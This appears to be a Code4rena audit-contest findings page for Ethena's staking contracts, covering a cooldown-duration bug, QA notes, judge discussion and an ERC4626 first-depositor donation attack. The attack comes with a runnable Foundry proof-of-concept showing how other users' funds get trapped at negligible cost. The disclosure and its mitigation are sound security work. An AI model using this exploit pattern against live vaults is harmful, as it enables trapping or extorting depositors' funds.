Platform: Code4rena
Start Date: 24/10/2023
Pot Size: $36,500 USDC
Total HM: 4
Participants: 147
Period: 6 days
Judge: 0xDjango
Id: 299
League: ETH
Rank: 2/147
Findings: 3
Award: $1,957.12
π Selected for report: 0
π Solo Findings: 0
π Selected for report: adeolu
Also found by: Eeyore, Madalad, Mike_Bello90, Shubham, jasonxiale, josephdara, peanuts
1432.1788 USDC - $1,432.18
Judge has assessed an item in Issue #583 as 2 risk. The relevant finding follows:
Setting StakedUSDeV2βs cooldownDuration variable from non-zero to zero should remove any existing cooldowns If the admin calls StakedUSDeV2#setCooldownDuration to set cooldownDuration to 0, users that have recently called either cooldownAssets or cooldownShares will still have to wait for the remainder of the previous cooldown duration to access their assets (USDe). This provides a poor user experience and is likely unintended.
A simple fix is to alter unstake to allow withdrawals from the silo whenever cooldownDuration is equal to 0.
function unstake(address receiver) external { UserCooldown storage userCooldown = cooldowns[msg.sender]; uint256 assets = userCooldown.underlyingAmount;
if (block.timestamp >= userCooldown.cooldownEnd || cooldownDuration == 0) { userCooldown.cooldownEnd = 0; userCooldown.underlyingAmount = 0;
silo.withdraw(receiver, assets); } else { revert InvalidCooldown(); } } https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDeV2.sol#L78-L90
#0 - c4-judge
2023-11-27T20:02:27Z
fatherGoose1 marked the issue as duplicate of #198
#1 - c4-judge
2023-11-27T20:48:38Z
fatherGoose1 marked the issue as satisfactory
π Selected for report: ayden
Also found by: 0xWaitress, Madalad, Yanchuan, cartlex_, ciphermarco, critical-or-high, d3e4, mert_eren, peanuts, pontifex, trachev, twcctop
520.4229 USDC - $520.42
https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L190-L194 https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L214 https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L237
StakedUSDe
uses the internal function _checkMinShares
to ensure that a small amount of USDe cannot remain in the contract in between deposits and withdrawals. This is to protect against a well known frontrunning attack related to ERC4626 vaults described here. However, this mitigation allows a malicious first depositor to manipulate the exchange rate of stUSDe
and USDe
, causing the MIN_SHARES
constant to represent a far larger value than intended leading to a potentially significant amount of USDe
to become trapped in the contract.
Moreover, albeit less importantly, if the exchange rate was assumed to be 1:1 by the dev team, then this not being the case may have other unintended consequences for Ethena and their ecosystem.
In StakedUSDe
, _checkMinShares
is called after each deposit and withdrawal, to ensure that "a small non-zero amount of shares does not remain [in the contract]".
File: contracts\StakedUSDe.sol 190: /// @notice ensures a small non-zero amount of shares does not remain, exposing to donation attack 191: function _checkMinShares() internal view { 192: uint256 _totalSupply = totalSupply(); 193: if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation(); 194: }
Since the decimals for both USDe and stUSDe are 18, without any donation attack the exchange rate would be 1:1 and MIN_SHARES
would represent 1 USDe. Having 1 usd worth of assets remain trapped in the contract is the tradeoff for protecting against the attack, and presents no real issue. However, a malicious first depositor can execute a donation attack which manipulates this exchange rate and cause MIN_SHARES
to represent a much larger value.
Consider the following scenario:
deposit
with amount
equal to MIN_SHARES
(1 USDe) causing her to receive 10**18 shares (1 stUSDe), and transfers a large amount of USDe directly to the contract (e.g. 100k USDe) immediately afterwardstotalSupply
of stUSDe is 1, meaning that whenever any other depositor attempts to withdraw/redeem, their tx will revert due to MinSharesViolation
, despite far more than 1 USDe being held by the contractThe amount that the attacker is able to trap in the contract is equal to their initial USDe holding. Despite this attack requiring a large amount of USDe to initiate, the attacker is able to withdraw afterwards, meaning the effective cost of the attack is negligable (as is shown in the coded PoC).
Please find below the coded PoC for this exploit, which shows the scenario described above. Copy paste it into StakedUSDe.t.sol to run it.
File: test\foundry\staking\StakedUSDe.t.sol function testInflationAttack() public { // setup uint256 MIN_SHARES = 1 ether; // constant variable defined in StakedUSDe contract uint256 aliceInitialBalance = 100_000 ether; // $100k uint256 bobInitialBalance = 50_000 ether; // $ 50k uint256 gregInitialBalance = 50_000 ether; // $ 50k usdeToken.mint(alice, aliceInitialBalance); usdeToken.mint(bob, bobInitialBalance); usdeToken.mint(greg, gregInitialBalance); // malicious first depositor (alice) manipulates USDe/stUSDe exchange rate vm.startPrank(alice); usdeToken.approve(address(stakedUSDe), aliceInitialBalance); uint256 aliceShares = stakedUSDe.deposit(MIN_SHARES, alice); usdeToken.transfer(address(stakedUSDe), aliceInitialBalance - MIN_SHARES); vm.stopPrank(); // due to this, exchange rate is not 1:1 assertLt(stakedUSDe.totalSupply(), usdeToken.balanceOf(address(stakedUSDe))); // other users begin to deposit // bob deposits 50k USDe vm.startPrank(bob); usdeToken.approve(address(stakedUSDe), bobInitialBalance); uint256 bobShares = stakedUSDe.deposit(bobInitialBalance, bob); vm.stopPrank(); // greg deposits 50k USDe vm.startPrank(greg); usdeToken.approve(address(stakedUSDe), gregInitialBalance); uint256 gregShares = stakedUSDe.deposit(gregInitialBalance, greg); vm.stopPrank(); // after the sum of deposits from other users is >= the amount alice deposited and transferred, she redeems all her shares // alice deposited 100k, bob and greg deposited 50k each vm.prank(alice); stakedUSDe.redeem(aliceShares, alice, alice); // total circulating shares is now equal to MIN_SHARES assertEq(stakedUSDe.totalSupply(), MIN_SHARES); // this means that other users are unable to withdraw due to min shares violation, their assets (worth 100k usd) are trapped vm.prank(bob); vm.expectRevert(IStakedUSDe.MinSharesViolation.selector); stakedUSDe.redeem(1, bob, bob); // cannot even withdraw 1 wei shares vm.prank(greg); vm.expectRevert(IStakedUSDe.MinSharesViolation.selector); stakedUSDe.redeem(1, greg, greg); // cannot even withdraw 1 wei shares // the cost of the attack for alice is negligable uint256 costOfAttack = aliceInitialBalance - usdeToken.balanceOf(alice); assertApproxEqAbs(costOfAttack, 0, 100_000); // cost is less than 100_000 wei = 0.0000000000001 ETH }
Manual review, Foundry
Use the recommended mitigation suggested by OpenZeppelin in the NatSpec of their ERC4626 implementation: "Vault deployers can protect against this attack by making an initial deposit of a non-trivial amount of the asset, such that price manipulation becomes infeasible". This way, the possibility of any sort of donation attack can be ruled out completely.
This can be incorporated within the teams deploy scripts, or it can be added to the constructor of StakedUSDe
, for example:
File: contracts\StakedUSDe.sol constructor(IERC20 _asset, address _initialRewarder, address _owner) ERC20("Staked USDe", "stUSDe") ERC4626(_asset) ERC20Permit("stUSDe") { if (_owner == address(0) || _initialRewarder == address(0) || address(_asset) == address(0)) { revert InvalidZeroAddress(); } _grantRole(REWARDER_ROLE, _initialRewarder); _grantRole(DEFAULT_ADMIN_ROLE, _owner); + _deposit(_owner, _owner, MIN_SHARES, MIN_SHARES); }
Note that here the owner would have to hold USDe and have approved the address that the contract will be deployed to.
ERC4626
#0 - c4-pre-sort
2023-11-01T01:14:19Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-01T01:14:44Z
raymondfam marked the issue as duplicate of #32
#2 - c4-judge
2023-11-10T21:00:45Z
fatherGoose1 marked the issue as satisfactory
#3 - Madalad
2023-11-14T23:01:36Z
@fatherGoose1
I do not believe that this issue is a duplicate of #88.
Although both issues involve sending assets directly to the StakedUSDe
contract to break functionality, the consequences of #88 are that the contract is DoS and no user funds are lost (which can be resolved with a simple re-deploy), whereas #578 shows how a potentially significant amount of user funds could become trapped in the contract.
I argue that the impact of #578 is more severe than #88 and therefore the findings are meaningfully different.
#4 - fatherGoose1
2023-11-27T20:34:36Z
@Madalad, this will remain a duplicate of #88. While the report technically outlines a theft scenario, the likelihood that subsequent deposits would amount to a meaningful return ($100k) is low. The attacker is putting their 100k at great risk, because without subsequent deposits, their own funds will be trapped.
#5 - d3e4
2023-11-28T11:42:14Z
@Madalad, this will remain a duplicate of #88. While the report technically outlines a theft scenario, the likelihood that subsequent deposits would amount to a meaningful return ($100k) is low. The attacker is putting their 100k at great risk, because without subsequent deposits, their own funds will be trapped.
@fatherGoose1 The attacker's funds are not fully at risk because it is in everyone's interest to get their funds back. The attacker can also freely withdraw before any deposits have been made. The attack does not require that $100k be deposited, rather it is better if less is deposited. Please see #712 for how victims can be extorted through this. If more than $100k is deposited the attack may be rendered ineffective and risk-free. The attacker can thus choose an appropriate amount such that he has a good chance of taking the depositors hostage, but can also resort to just letting deposits come in and waive his extortion power. Again, see #712.
If this is to be considered a duplicate of #88, then the issue contains at least two aspects: the trapped funds and the DoS. Do you not think reports mentioning only one of them should receive only partial credit? @Madalad only submitted the former, but @d3e4 submitted both in #713 and #712. All others only mentioned the DoS.
#6 - fatherGoose1
2023-11-28T19:48:25Z
Answered in #712
π Selected for report: 0xmystery
Also found by: 0x11singh99, 0xAadi, 0xAlix2, 0xG0P1, 0xStalin, 0xWaitress, 0x_Scar, 0xhacksmithh, 0xhunter, 0xpiken, Al-Qa-qa, Arz, Avci, Bauchibred, BeliSesir, Breeje, Bughunter101, DarkTower, Eeyore, Fitro, HChang26, Imlazy0ne, J4X, JCK, Kaysoft, Kral01, Madalad, Mike_Bello90, Noro, PASCAL, PENGUN, Proxy, Rickard, Shubham, SovaSlava, Strausses, Team_Rocket, ThreeSigma, Topmark, Udsen, Walter, Yanchuan, Zach_166, ZanyBonzy, adam-idarrha, adeolu, almurhasan, arjun16, ast3ros, asui, ayden, btk, cartlex_, castle_chain, cccz, chainsnake, codynhat, critical-or-high, cryptonue, csanuragjain, deepkin, degensec, dirk_y, erebus, foxb868, ge6a, hunter_w3b, jasonxiale, kkkmmmsk, lanrebayode77, lsaudit, marchev, matrix_0wl, max10afternoon, nuthan2x, oakcobalt, oxchsyston, pavankv, peanuts, pep7siup, pipidu83, pontifex, ptsanev, qpzm, radev_sw, rokinot, rotcivegaf, rvierdiiev, sorrynotsorry, squeaky_cactus, supersizer0x, tnquanghuy0512, twcctop, twicek, young, zhaojie, ziyou-
4.5226 USDC - $4.52
verifyOrder
and verifyRoute
In EthenaMinting
, verifyOrder
and verifyRoute
are used to verify the order
and route
arguments passed to mint
/redeem
by the REDEEMER
. While verifyOrder
reverts if the order is invalid, verifyRoute
returns false without reverting if the route is invalid. While this inconsistency does not pose any immediate risks in the current implementation of the minting contract, it creates confusion for devs/auditors and may lead to unexpected outcomes in future versions of the contract.
File: contracts\EthenaMinting.sol 338: /// @notice assert validity of signed order 339: function verifyOrder(Order calldata order, Signature calldata signature) public view override returns (bool, bytes32) { 340: bytes32 taker_order_hash = hashOrder(order); 341: address signer = ECDSA.recover(taker_order_hash, signature.signature_bytes); 342: if (!(signer == order.benefactor || delegatedSigner[signer][order.benefactor])) revert InvalidSignature(); 343: if (order.beneficiary == address(0)) revert InvalidAmount(); 344: if (order.collateral_amount == 0) revert InvalidAmount(); 345: if (order.usde_amount == 0) revert InvalidAmount(); 346: if (block.timestamp > order.expiry) revert SignatureExpired(); 347: return (true, taker_order_hash); 348: } 349: 350: /// @notice assert validity of route object per type 351: function verifyRoute(Route calldata route, OrderType orderType) public view override returns (bool) { 352: // routes only used to mint 353: if (orderType == OrderType.REDEEM) { 354: return true; 355: } 356: uint256 totalRatio = 0; 357: if (route.addresses.length != route.ratios.length) { 358: return false; 359: } 360: if (route.addresses.length == 0) { 361: return false; 362: } 363: for (uint256 i = 0; i < route.addresses.length; ++i) { 364: if (!_custodianAddresses.contains(route.addresses[i]) || route.addresses[i] == address(0) || route.ratios[i] == 0) 365: { 366: return false; 367: } 368: totalRatio += route.ratios[i]; 369: } 370: if (totalRatio != 10_000) { 371: return false; 372: } 373: return true; 374: }
https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/EthenaMinting.sol#L338-L374
StakedUSDeV2
's cooldownDuration
variable from non-zero to zero should remove any existing cooldownsIf the admin calls StakedUSDeV2#setCooldownDuration
to set cooldownDuration
to 0, users that have recently called either cooldownAssets
or cooldownShares
will still have to wait for the remainder of the previous cooldown duration to access their assets (USDe). This provides a poor user experience and is likely unintended.
A simple fix is to alter unstake
to allow withdrawals from the silo whenever cooldownDuration
is equal to 0.
function unstake(address receiver) external { UserCooldown storage userCooldown = cooldowns[msg.sender]; uint256 assets = userCooldown.underlyingAmount; - if (block.timestamp >= userCooldown.cooldownEnd) { + if (block.timestamp >= userCooldown.cooldownEnd || cooldownDuration == 0) { userCooldown.cooldownEnd = 0; userCooldown.underlyingAmount = 0; silo.withdraw(receiver, assets); } else { revert InvalidCooldown(); } }
https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDeV2.sol#L78-L90
StakedUSDe
's SOFT_RESTRICTED_STAKER_ROLE
can be trivially bypassed, rendering it redundantIf a user is added to the blacklist by being assigned the SOFT_RESTRICTED_STAKER_ROLE
, they are unable to stake but still able to redeem/withdraw. This restriction can be bypassed by the user by simply redeeming/withdrawing their assets to a different address that they control, and staking from that address instead. Consider whether this behaviour is acceptable and rethink the implementation of restricted roles if not.
https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L210-L212
#0 - raymondfam
2023-11-02T02:19:27Z
StakedUSDeβs SOFT_RESTRICTED_STAKER_ROLE can be trivially bypassed, rendering it redundant: Pashov
#1 - c4-pre-sort
2023-11-02T02:19:35Z
raymondfam marked the issue as sufficient quality report
#2 - c4-judge
2023-11-14T17:06:32Z
fatherGoose1 marked the issue as grade-b
#3 - Madalad
2023-11-14T22:34:48Z
@fatherGoose1
I believe that the second issue in this report is a duplicate of https://github.com/code-423n4/2023-10-ethena-findings/issues/29.
Both describe the same problem of users having to wait an unfair amount of time after cooldownDuration
is changed by the admin, and both recommend mitigating the issue by altering the unstake
function.